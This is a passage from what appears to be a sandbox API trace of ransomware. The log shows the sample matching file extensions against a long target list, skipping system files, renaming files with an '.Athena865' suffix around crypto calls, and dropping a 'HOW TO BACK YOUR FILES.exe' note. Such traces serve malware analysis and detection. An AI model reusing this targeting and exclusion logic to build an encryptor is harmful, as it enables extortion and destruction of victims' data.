lstrcmpiW (lpString1="4.exe", lpString2="accdw") returned -1 [0098.994] lstrlenW (lpString="accft") returned 5 [0098.994] lstrcmpiW (lpString1="4.exe", lpString2="accft") returned -1 [0098.994] lstrlenW (lpString="adb") returned 3 [0098.994] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0098.994] lstrlenW (lpString="adb") returned 3 [0098.994] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0098.994] lstrlenW (lpString="ade") returned 3 [0098.994] lstrcmpiW (lpString1="exe", lpString2="ade") returned 1 [0098.994] lstrlenW (lpString="adf") returned 3 [0098.994] lstrcmpiW (lpString1="exe", lpString2="adf") returned 1 [0098.994] lstrlenW (lpString="adn") returned 3 [0098.994] lstrcmpiW (lpString1="exe", lpString2="adn") returned 1 [0098.994] lstrlenW (lpString="adp") returned 3 [0098.994] lstrcmpiW (lpString1="exe", lpString2="adp") returned 1 [0098.994] lstrlenW (lpString="alf") returned 3 [0098.994] lstrcmpiW (lpString1="exe", lpString2="alf") returned 1 [0098.994] lstrlenW (lpString="ask") returned 3 [0098.994] lstrcmpiW (lpString1="exe", lpString2="ask") returned 1 [0098.994] lstrlenW (lpString="btr") returned 3 [0098.994] lstrcmpiW (lpString1="exe", lpString2="btr") returned 1 [0098.994] lstrlenW (lpString="cat") returned 3 [0098.994] lstrcmpiW (lpString1="exe", lpString2="cat") returned 1 [0098.994] lstrlenW (lpString="cdb") returned 3 [0098.994] lstrcmpiW (lpString1="exe", lpString2="cdb") returned 1 [0098.994] lstrlenW (lpString="ckp") returned 3 [0098.994] lstrcmpiW (lpString1="exe", lpString2="ckp") returned 1 [0098.995] lstrlenW (lpString="cma") returned 3 [0098.995] lstrcmpiW (lpString1="exe", lpString2="cma") returned 1 [0098.995] lstrlenW (lpString="cpd") returned 3 [0098.995] lstrcmpiW (lpString1="exe", lpString2="cpd") returned 1 [0098.995] lstrlenW (lpString="dacpac") returned 6 [0098.995] lstrcmpiW (lpString1="64.exe", lpString2="dacpac") returned -1 [0098.995] lstrlenW (lpString="dad") returned 3 [0098.995] lstrcmpiW (lpString1="exe", lpString2="dad") returned 1 [0098.995] lstrlenW (lpString="dadiagrams") returned 10 [0098.995] lstrcmpiW (lpString1="st.x64.exe", lpString2="dadiagrams") returned 1 [0098.995] lstrlenW (lpString="daschema") returned 8 [0098.995] lstrcmpiW (lpString1=".x64.exe", lpString2="daschema") returned -1 [0098.995] lstrlenW (lpString="db-journal") returned 10 [0098.995] lstrcmpiW (lpString1="st.x64.exe", lpString2="db-journal") returned 1 [0098.995] lstrlenW (lpString="db-shm") returned 6 [0098.995] lstrcmpiW (lpString1="64.exe", lpString2="db-shm") returned -1 [0098.995] lstrlenW (lpString="db-wal") returned 6 [0098.995] lstrcmpiW (lpString1="64.exe", lpString2="db-wal") returned -1 [0098.995] lstrlenW (lpString="dbc") returned 3 [0098.995] lstrcmpiW (lpString1="exe", lpString2="dbc") returned 1 [0098.995] lstrlenW (lpString="dbs") returned 3 [0098.995] lstrcmpiW (lpString1="exe", lpString2="dbs") returned 1 [0098.995] lstrlenW (lpString="dbt") returned 3 [0098.995] lstrcmpiW (lpString1="exe", lpString2="dbt") returned 1 [0098.995] lstrlenW (lpString="dbv") returned 3 [0098.995] lstrcmpiW (lpString1="exe", lpString2="dbv") returned 1 [0098.995] lstrlenW (lpString="dbx") returned 3 [0098.995] lstrcmpiW (lpString1="exe", lpString2="dbx") returned 1 [0098.995] lstrlenW (lpString="dcb") returned 3 [0098.995] lstrcmpiW (lpString1="exe", lpString2="dcb") returned 1 [0098.996] lstrcmpiW (lpString1="exe", lpString2="dct") returned 1 [0098.996] lstrcmpiW (lpString1="exe", lpString2="dcx") returned 1 [0098.996] lstrcmpiW (lpString1="exe", lpString2="ddl") returned 1 [0098.996] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe.Athena865") returned 95 [0098.996] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe" (normalized: "c:\\programdata\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\vc_redist.x64.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe.Athena865" (normalized: "c:\\programdata\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\vc_redist.x64.exe.athena865"), dwFlags=0x1) returned 1 [0098.997] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe.Athena865" (normalized: "c:\\programdata\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\vc_redist.x64.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0098.997] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=781880) returned 1 [0098.998] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0098.998] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5398d8 [0098.998] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x51a190 [0098.998] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x51a218) returned 1 [0098.999] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0098.999] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0098.999] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xbf140, lpName=0x0) returned 0x17c [0099.001] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xbf140) returned 0x2d50000 [0099.111] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x51a218) returned 1 [0099.112] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0099.112] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0099.112] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539950 [0099.112] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539950 | out: hHeap=0x4f0000) returned 1 [0099.112] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x53f2d8 [0099.112] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0099.112] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f2d8 | out: hHeap=0x4f0000) returned 1 [0099.112] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0099.112] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x53f2d8 [0099.112] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0099.112] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f2d8 | out: hHeap=0x4f0000) returned 1 [0099.112] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0099.112] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0099.119] CloseHandle (hObject=0x17c) returned 1 [0099.119] CloseHandle (hObject=0x154) returned 1 [0099.119] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5398d8 | out: hHeap=0x4f0000) returned 1 [0099.119] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51a190 | out: hHeap=0x4f0000) returned 1 [0099.119] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0099.123] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa912d270, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa912d270, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0x968d5df0, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0xbee38, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VC_redist.x64.exe", cAlternateFileName="VC_RED~1.EXE")) returned 0 [0099.123] FindClose (in: hFindFile=0x5295d0 | out: hFindFile=0x5295d0) returned 1 [0099.123] ReleaseMutex (hMutex=0xec) returned 1 [0099.123] CloseHandle (hObject=0xec) returned 1 [0099.123] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}" | out: lpString1="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}") returned="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}" [0099.123] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514bd8 | out: hHeap=0x4f0000) returned 1 [0099.123] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ad88 | out: hHeap=0x4f0000) returned 1 [0099.123] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}") returned 67 [0099.123] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\7CBEE6B330717AD710B227B9BA9E62E4") returned 0xec [0099.123] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0099.123] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}" | out: lpString1="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}") returned="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}" [0099.123] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0099.123] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\how to back your files.exe"), bFailIfExists=1) returned 0 [0099.124] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0099.125] GetLastError () returned 0x0 [0099.125] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0099.125] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53f2d8 [0099.125] ReadFile (in: hFile=0xf4, lpBuffer=0x53f2d8, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53f2d8*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0099.126] CloseHandle (hObject=0xf4) returned 1 [0099.126] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f2d8 | out: hHeap=0x4f0000) returned 1 [0099.126] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0099.126] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xca64c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xc4c145e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4c145e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5295d0 [0099.126] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0099.126] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0099.126] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0099.126] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xca64c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xc4c145e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4c145e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.126] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0099.126] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0099.126] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0099.126] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0099.126] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c145e0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc4c145e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0099.126] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0099.127] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcad7040, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcad7040, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x105e7220, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x29a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="state.rsm", cAlternateFileName="")) returned 1 [0099.127] lstrcmpiW (lpString1="state.rsm", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0099.127] lstrcmpiW (lpString1="state.rsm", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0099.127] lstrcmpiW (lpString1="state.rsm", lpString2=".") returned 1 [0099.127] lstrcmpiW (lpString1="state.rsm", lpString2="..") returned 1 [0099.127] lstrcmpiW (lpString1="state.rsm", lpString2="windows") returned -1 [0099.127] lstrcmpiW (lpString1="state.rsm", lpString2="bootmgr") returned 1 [0099.127] lstrcmpiW (lpString1="state.rsm", lpString2="temp") returned -1 [0099.127] lstrcmpiW (lpString1="state.rsm", lpString2="pagefile.sys") returned 1 [0099.127] lstrcmpiW (lpString1="state.rsm", lpString2="boot") returned 1 [0099.127] lstrcmpiW (lpString1="state.rsm", lpString2="ids.txt") returned 1 [0099.127] lstrcmpiW (lpString1="state.rsm", lpString2="ntuser.dat") returned 1 [0099.127] lstrcmpiW (lpString1="state.rsm", lpString2="perflogs") returned 1 [0099.127] lstrcmpiW (lpString1="state.rsm", lpString2="MSBuild") returned 1 [0099.127] lstrlenW (lpString="state.rsm") returned 9 [0099.127] lstrcpyW (in: lpString1=0x241e8d0, lpString2="state.rsm" | out: lpString1="state.rsm") returned="state.rsm" [0099.127] lstrlenW (lpString="state.rsm") returned 9 [0099.127] lstrlenW (lpString="Athena865") returned 9 [0099.127] lstrlenW (lpString=".dll") returned 4 [0099.127] lstrcmpiW (lpString1="state.rsm", lpString2=".dll") returned 1 [0099.127] lstrlenW (lpString=".lnk") returned 4 [0099.127] lstrcmpiW (lpString1="state.rsm", lpString2=".lnk") returned 1 [0099.127] lstrlenW (lpString=".ini") returned 4 [0099.127] lstrcmpiW (lpString1="state.rsm", lpString2=".ini") returned 1 [0099.127] lstrlenW (lpString=".sys") returned 4 [0099.127] lstrcmpiW (lpString1="state.rsm", lpString2=".sys") returned 1 [0099.127] lstrlenW (lpString="state.rsm") returned 9 [0099.127] lstrlenW (lpString="bak") returned 3 [0099.128] lstrcmpiW (lpString1="rsm", lpString2="bak") returned 1 [0099.128] lstrlenW (lpString="ba_") returned 3 [0099.128] lstrcmpiW (lpString1="rsm", lpString2="ba_") returned 1 [0099.128] lstrlenW (lpString="dbb") returned 3 [0099.128] lstrcmpiW (lpString1="rsm", lpString2="dbb") returned 1 [0099.128] lstrlenW (lpString="vmdk") returned 4 [0099.128] lstrcmpiW (lpString1=".rsm", lpString2="vmdk") returned -1 [0099.128] lstrlenW (lpString="rar") returned 3 [0099.128] lstrcmpiW (lpString1="rsm", lpString2="rar") returned 1 [0099.128] lstrlenW (lpString="zip") returned 3 [0099.128] lstrcmpiW (lpString1="rsm", lpString2="zip") returned -1 [0099.128] lstrlenW (lpString="tgz") returned 3 [0099.128] lstrcmpiW (lpString1="rsm", lpString2="tgz") returned -1 [0099.128] lstrlenW (lpString="vbox") returned 4 [0099.128] lstrcmpiW (lpString1=".rsm", lpString2="vbox") returned -1 [0099.128] lstrlenW (lpString="vdi") returned 3 [0099.128] lstrcmpiW (lpString1="rsm", lpString2="vdi") returned -1 [0099.128] lstrlenW (lpString="vhd") returned 3 [0099.128] lstrcmpiW (lpString1="rsm", lpString2="vhd") returned -1 [0099.128] lstrlenW (lpString="vhdx") returned 4 [0099.128] lstrcmpiW (lpString1=".rsm", lpString2="vhdx") returned -1 [0099.128] lstrlenW (lpString="avhd") returned 4 [0099.128] lstrcmpiW (lpString1=".rsm", lpString2="avhd") returned -1 [0099.128] lstrlenW (lpString="db") returned 2 [0099.128] lstrcmpiW (lpString1="sm", lpString2="db") returned 1 [0099.128] lstrlenW (lpString="db2") returned 3 [0099.128] lstrcmpiW (lpString1="rsm", lpString2="db2") returned 1 [0099.128] lstrlenW (lpString="db3") returned 3 [0099.128] lstrcmpiW (lpString1="rsm", lpString2="db3") returned 1 [0099.129] lstrlenW (lpString="dbf") returned 3 [0099.129] lstrcmpiW (lpString1="rsm", lpString2="dbf") returned 1 [0099.129] lstrlenW (lpString="mdf") returned 3 [0099.129] lstrcmpiW (lpString1="rsm", lpString2="mdf") returned 1 [0099.129] lstrlenW (lpString="mdb") returned 3 [0099.129] lstrcmpiW (lpString1="rsm", lpString2="mdb") returned 1 [0099.129] lstrlenW (lpString="sql") returned 3 [0099.129] lstrcmpiW (lpString1="rsm", lpString2="sql") returned -1 [0099.129] lstrlenW (lpString="sqlite") returned 6 [0099.129] lstrcmpiW (lpString1="te.rsm", lpString2="sqlite") returned 1 [0099.129] lstrlenW (lpString="sqlite3") returned 7 [0099.129] lstrcmpiW (lpString1="ate.rsm", lpString2="sqlite3") returned -1 [0099.129] lstrlenW (lpString="sqlitedb") returned 8 [0099.129] lstrcmpiW (lpString1="tate.rsm", lpString2="sqlitedb") returned 1 [0099.129] lstrlenW (lpString="xml") returned 3 [0099.129] lstrcmpiW (lpString1="rsm", lpString2="xml") returned -1 [0099.129] lstrlenW (lpString="$er") returned 3 [0099.129] lstrcmpiW (lpString1="rsm", lpString2="$er") returned 1 [0099.129] lstrlenW (lpString="4dd") returned 3 [0099.129] lstrcmpiW (lpString1="rsm", lpString2="4dd") returned 1 [0099.129] lstrlenW (lpString="4dl") returned 3 [0099.129] lstrcmpiW (lpString1="rsm", lpString2="4dl") returned 1 [0099.129] lstrlenW (lpString="^^^") returned 3 [0099.129] lstrcmpiW (lpString1="rsm", lpString2="^^^") returned 1 [0099.129] lstrlenW (lpString="abs") returned 3 [0099.129] lstrcmpiW (lpString1="rsm", lpString2="abs") returned 1 [0099.129] lstrlenW (lpString="abx") returned 3 [0099.129] lstrcmpiW (lpString1="rsm", lpString2="abx") returned 1 [0099.129] lstrlenW (lpString="accdb") returned 5 [0099.130] lstrcmpiW (lpString1="e.rsm", lpString2="accdb") returned 1 [0099.130] lstrlenW (lpString="accdc") returned 5 [0099.130] lstrcmpiW (lpString1="e.rsm", lpString2="accdc") returned 1 [0099.130] lstrlenW (lpString="accde") returned 5 [0099.130] lstrcmpiW (lpString1="e.rsm", lpString2="accde") returned 1 [0099.130] lstrlenW (lpString="accdr") returned 5 [0099.130] lstrcmpiW (lpString1="e.rsm", lpString2="accdr") returned 1 [0099.130] lstrlenW (lpString="accdt") returned 5 [0099.130] lstrcmpiW (lpString1="e.rsm", lpString2="accdt") returned 1 [0099.130] lstrlenW (lpString="accdw") returned 5 [0099.130] lstrcmpiW (lpString1="e.rsm", lpString2="accdw") returned 1 [0099.130] lstrlenW (lpString="accft") returned 5 [0099.130] lstrcmpiW (lpString1="e.rsm", lpString2="accft") returned 1 [0099.130] lstrlenW (lpString="adb") returned 3 [0099.130] lstrcmpiW (lpString1="rsm", lpString2="adb") returned 1 [0099.130] lstrlenW (lpString="adb") returned 3 [0099.130] lstrcmpiW (lpString1="rsm", lpString2="adb") returned 1 [0099.130] lstrlenW (lpString="ade") returned 3 [0099.130] lstrcmpiW (lpString1="rsm", lpString2="ade") returned 1 [0099.130] lstrlenW (lpString="adf") returned 3 [0099.130] lstrcmpiW (lpString1="rsm", lpString2="adf") returned 1 [0099.130] lstrlenW (lpString="adn") returned 3 [0099.130] lstrcmpiW (lpString1="rsm", lpString2="adn") returned 1 [0099.130] lstrlenW (lpString="adp") returned 3 [0099.130] lstrcmpiW (lpString1="rsm", lpString2="adp") returned 1 [0099.130] lstrlenW (lpString="alf") returned 3 [0099.130] lstrcmpiW (lpString1="rsm", lpString2="alf") returned 1 [0099.130] lstrlenW (lpString="ask") returned 3 [0099.130] lstrcmpiW (lpString1="rsm", lpString2="ask") returned 1 [0099.131] lstrlenW (lpString="btr") returned 3 [0099.131] lstrcmpiW (lpString1="rsm", lpString2="btr") returned 1 [0099.131] lstrlenW (lpString="cat") returned 3 [0099.131] lstrcmpiW (lpString1="rsm", lpString2="cat") returned 1 [0099.131] lstrlenW (lpString="cdb") returned 3 [0099.131] lstrcmpiW (lpString1="rsm", lpString2="cdb") returned 1 [0099.131] lstrlenW (lpString="ckp") returned 3 [0099.131] lstrcmpiW (lpString1="rsm", lpString2="ckp") returned 1 [0099.131] lstrlenW (lpString="cma") returned 3 [0099.131] lstrcmpiW (lpString1="rsm", lpString2="cma") returned 1 [0099.131] lstrlenW (lpString="cpd") returned 3 [0099.131] lstrcmpiW (lpString1="rsm", lpString2="cpd") returned 1 [0099.131] lstrlenW (lpString="dacpac") returned 6 [0099.131] lstrcmpiW (lpString1="te.rsm", lpString2="dacpac") returned 1 [0099.131] lstrlenW (lpString="dad") returned 3 [0099.131] lstrcmpiW (lpString1="rsm", lpString2="dad") returned 1 [0099.131] lstrlenW (lpString="dadiagrams") returned 10 [0099.131] lstrlenW (lpString="daschema") returned 8 [0099.131] lstrcmpiW (lpString1="tate.rsm", lpString2="daschema") returned 1 [0099.131] lstrlenW (lpString="db-journal") returned 10 [0099.131] lstrlenW (lpString="db-shm") returned 6 [0099.131] lstrcmpiW (lpString1="te.rsm", lpString2="db-shm") returned 1 [0099.131] lstrlenW (lpString="db-wal") returned 6 [0099.131] lstrcmpiW (lpString1="te.rsm", lpString2="db-wal") returned 1 [0099.131] lstrlenW (lpString="dbc") returned 3 [0099.131] lstrcmpiW (lpString1="rsm", lpString2="dbc") returned 1 [0099.131] lstrlenW (lpString="dbs") returned 3 [0099.131] lstrcmpiW (lpString1="rsm", lpString2="dbs") returned 1 [0099.131] lstrlenW (lpString="dbt") returned 3 [0099.132] lstrcmpiW (lpString1="rsm", lpString2="dbt") returned 1 [0099.132] lstrlenW (lpString="dbv") returned 3 [0099.132] lstrcmpiW (lpString1="rsm", lpString2="dbv") returned 1 [0099.132] lstrlenW (lpString="dbx") returned 3 [0099.132] lstrcmpiW (lpString1="rsm", lpString2="dbx") returned 1 [0099.132] lstrlenW (lpString="dcb") returned 3 [0099.132] lstrcmpiW (lpString1="rsm", lpString2="dcb") returned 1 [0099.132] lstrlenW (lpString="dct") returned 3 [0099.132] lstrcmpiW (lpString1="rsm", lpString2="dct") returned 1 [0099.132] lstrlenW (lpString="dcx") returned 3 [0099.132] lstrcmpiW (lpString1="rsm", lpString2="dcx") returned 1 [0099.132] lstrlenW (lpString="ddl") returned 3 [0099.132] lstrcmpiW (lpString1="rsm", lpString2="ddl") returned 1 [0099.132] lstrlenW (lpString="dlis") returned 4 [0099.132] lstrcmpiW (lpString1=".rsm", lpString2="dlis") returned -1 [0099.132] lstrlenW (lpString="dp1") returned 3 [0099.132] lstrcmpiW (lpString1="rsm", lpString2="dp1") returned 1 [0099.132] lstrlenW (lpString="dqy") returned 3 [0099.132] lstrcmpiW (lpString1="rsm", lpString2="dqy") returned 1 [0099.132] lstrlenW (lpString="dsk") returned 3 [0099.132] lstrcmpiW (lpString1="rsm", lpString2="dsk") returned 1 [0099.132] lstrlenW (lpString="dsn") returned 3 [0099.132] lstrcmpiW (lpString1="rsm", lpString2="dsn") returned 1 [0099.132] lstrlenW (lpString="dtsx") returned 4 [0099.132] lstrcmpiW (lpString1=".rsm", lpString2="dtsx") returned -1 [0099.132] lstrlenW (lpString="dxl") returned 3 [0099.132] lstrcmpiW (lpString1="rsm", lpString2="dxl") returned 1 [0099.132] lstrlenW (lpString="eco") returned 3 [0099.132] lstrcmpiW (lpString1="rsm", lpString2="eco") returned 1 [0099.133] lstrlenW (lpString="ecx") returned 3 [0099.133] lstrcmpiW (lpString1="rsm", lpString2="ecx") returned 1 [0099.133] lstrlenW (lpString="edb") returned 3 [0099.133] lstrcmpiW (lpString1="rsm", lpString2="edb") returned 1 [0099.133] lstrlenW (lpString="epim") returned 4 [0099.133] lstrcmpiW (lpString1=".rsm", lpString2="epim") returned -1 [0099.133] lstrlenW (lpString="fcd") returned 3 [0099.133] lstrcmpiW (lpString1="rsm", lpString2="fcd") returned 1 [0099.133] lstrlenW (lpString="fdb") returned 3 [0099.133] lstrcmpiW (lpString1="rsm", lpString2="fdb") returned 1 [0099.133] lstrlenW (lpString="fic") returned 3 [0099.133] lstrcmpiW (lpString1="rsm", lpString2="fic") returned 1 [0099.133] lstrlenW (lpString="flexolibrary") returned 12 [0099.133] lstrlenW (lpString="fm5") returned 3 [0099.133] lstrcmpiW (lpString1="rsm", lpString2="fm5") returned 1 [0099.133] lstrlenW (lpString="fmp") returned 3 [0099.133] lstrcmpiW (lpString1="rsm", lpString2="fmp") returned 1 [0099.133] lstrlenW (lpString="fmp12") returned 5 [0099.133] lstrcmpiW (lpString1="e.rsm", lpString2="fmp12") returned -1 [0099.133] lstrlenW (lpString="fmpsl") returned 5 [0099.133] lstrcmpiW (lpString1="e.rsm", lpString2="fmpsl") returned -1 [0099.133] lstrlenW (lpString="fol") returned 3 [0099.133] lstrcmpiW (lpString1="rsm", lpString2="fol") returned 1 [0099.133] lstrlenW (lpString="fp3") returned 3 [0099.133] lstrcmpiW (lpString1="rsm", lpString2="fp3") returned 1 [0099.133] lstrlenW (lpString="fp4") returned 3 [0099.133] lstrcmpiW (lpString1="rsm", lpString2="fp4") returned 1 [0099.133] lstrlenW (lpString="fp5") returned 3 [0099.133] lstrcmpiW (lpString1="rsm", lpString2="fp5") returned 1 [0099.134] lstrlenW (lpString="fp7") returned 3 [0099.134] lstrcmpiW (lpString1="rsm", lpString2="fp7") returned 1 [0099.134] lstrlenW (lpString="fpt") returned 3 [0099.134] lstrcmpiW (lpString1="rsm", lpString2="fpt") returned 1 [0099.134] lstrlenW (lpString="frm") returned 3 [0099.134] lstrcmpiW (lpString1="rsm", lpString2="frm") returned 1 [0099.134] lstrlenW (lpString="gdb") returned 3 [0099.134] lstrcmpiW (lpString1="rsm", 